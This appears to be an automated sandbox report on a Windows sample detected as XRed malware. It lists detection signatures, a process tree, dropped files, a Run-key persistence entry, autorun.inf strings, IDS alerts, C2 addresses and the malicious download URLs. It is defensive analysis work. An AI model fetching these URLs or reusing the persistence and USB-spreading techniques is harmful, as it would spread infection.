Edit tour

Windows Analysis Report
System Volume Information.exe

Overview

General Information

Sample name:	System Volume Information.exe
Analysis ID:	1549707
MD5:	c2cdae15750e17383ec3b4225bf32a9f
SHA1:	e743955ba3d7c6edaf4dae0400b990b271839eb7
SHA256:	68d41d21c16bae85f9a857511a5a1b3ccc28adc3721b82b17262e0e64f5a53f2
Tags:	exeuser-malrpt
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Found evasive API chain (may stop execution after checking a module file name)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries the installation date of Windows

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

System Volume Information.exe (PID: 6112 cmdline: "C:\Users\user\Desktop\System Volume Information.exe" MD5: C2CDAE15750E17383EC3B4225BF32A9F)

._cache_System Volume Information.exe (PID: 5912 cmdline: "C:\Users\user\Desktop\._cache_System Volume Information.exe" MD5: F2B28D713C51AB91E3452F7F98416123)

Synaptics.exe (PID: 432 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: D5253FADDD20B28A13F254B6A5E8F504)

WerFault.exe (PID: 8452 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 8908 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 5428 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 9068 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

Synaptics.exe (PID: 7348 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: D5253FADDD20B28A13F254B6A5E8F504)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
System Volume Information.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
System Volume Information.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXA824.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXA824.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: System Volume Information.exe PID: 6112	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.System Volume Information.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.System Volume Information.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.45, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5428, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 50128

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 50128, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5428, Protocol: tcp, SourceIp: 13.107.246.45, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\System Volume Information.exe, ProcessId: 6112, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 432, TargetFilename: C:\Users\user\AppData\Local\Temp\wr2gMFBN.xlsm

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T22:44:12.916724+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	49761	TCP
2024-11-05T22:44:51.206999+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	50050	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T22:45:04.945202+0100	2028371	3	Unknown Traffic	192.168.2.5	50128	13.107.246.45	443	TCP
2024-11-05T22:45:11.573177+0100	2028371	3	Unknown Traffic	192.168.2.5	50136	13.107.246.45	443	TCP

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T22:44:01.628694+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49709	172.217.23.110	443	TCP
2024-11-05T22:44:01.649860+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49710	172.217.23.110	443	TCP
2024-11-05T22:44:02.858500+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49714	172.217.23.110	443	TCP
2024-11-05T22:44:02.922859+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49717	172.217.23.110	443	TCP
2024-11-05T22:44:04.183845+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49720	172.217.23.110	443	TCP
2024-11-05T22:44:04.350543+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49719	172.217.23.110	443	TCP
2024-11-05T22:44:05.913323+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49730	172.217.23.110	443	TCP
2024-11-05T22:44:05.914378+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49729	172.217.23.110	443	TCP
2024-11-05T22:44:07.150026+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49739	172.217.23.110	443	TCP
2024-11-05T22:44:07.518474+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49737	172.217.23.110	443	TCP
2024-11-05T22:44:08.546679+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49742	172.217.23.110	443	TCP
2024-11-05T22:44:08.546689+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49744	172.217.23.110	443	TCP
2024-11-05T22:44:09.915189+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49749	172.217.23.110	443	TCP
2024-11-05T22:44:09.928780+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49748	172.217.23.110	443	TCP
2024-11-05T22:44:11.154449+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49755	172.217.23.110	443	TCP
2024-11-05T22:44:11.161754+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49752	172.217.23.110	443	TCP
2024-11-05T22:44:12.372828+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49756	172.217.23.110	443	TCP
2024-11-05T22:44:12.416656+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49757	172.217.23.110	443	TCP
2024-11-05T22:44:13.910408+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49768	172.217.23.110	443	TCP
2024-11-05T22:44:13.919118+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49767	172.217.23.110	443	TCP
2024-11-05T22:44:15.143859+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49773	172.217.23.110	443	TCP
2024-11-05T22:44:15.181515+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49775	172.217.23.110	443	TCP
2024-11-05T22:44:16.365874+0100	2044887	1	A Network Trojan was detected	192.168.2.5	49779	172.217.23.110	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T22:44:02.179350+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.5	49713	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: System Volume Information.exe	Avira: detected
Source: System Volume Information.exe	Avira: detected
Source: System Volume Information.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/Synaptics.rarZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dl	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.iniZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.ini	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll6	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rar	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Avira: detection malicious, Label: HEUR/AGEN.1358203
Source: C:\ProgramData\Synaptics\RCXA824.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXA824.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: HEUR/AGEN.1358203
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXA824.tmp	ReversingLabs: Detection: 87%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	ReversingLabs: Detection: 97%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: System Volume Information.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Synaptics\RCXA824.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: System Volume Information.exe

Joe Sandbox ML: detected

Source: System Volume Information.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50128 version: TLS 1.2

Source: System Volume Information.exe, 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: System Volume Information.exe, 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: System Volume Information.exe, 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: System Volume Information.exe, 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: System Volume Information.exe, 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: System Volume Information.exe, 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: System Volume Information.exe	Binary or memory string: [autorun]
Source: System Volume Information.exe	Binary or memory string: [autorun]
Source: System Volume Information.exe	Binary or memory string: autorun.inf
Source: RCXA824.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXA824.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXA824.tmp.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 67MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.5:49713 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49710 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49717 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49714 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49729 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49709 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49742 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49719 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49756 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49748 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49720 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49767 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49773 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49752 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49730 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49749 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49757 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49737 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49744 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49739 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49775 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49755 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49768 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.5:49779 -> 172.217.23.110:443

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
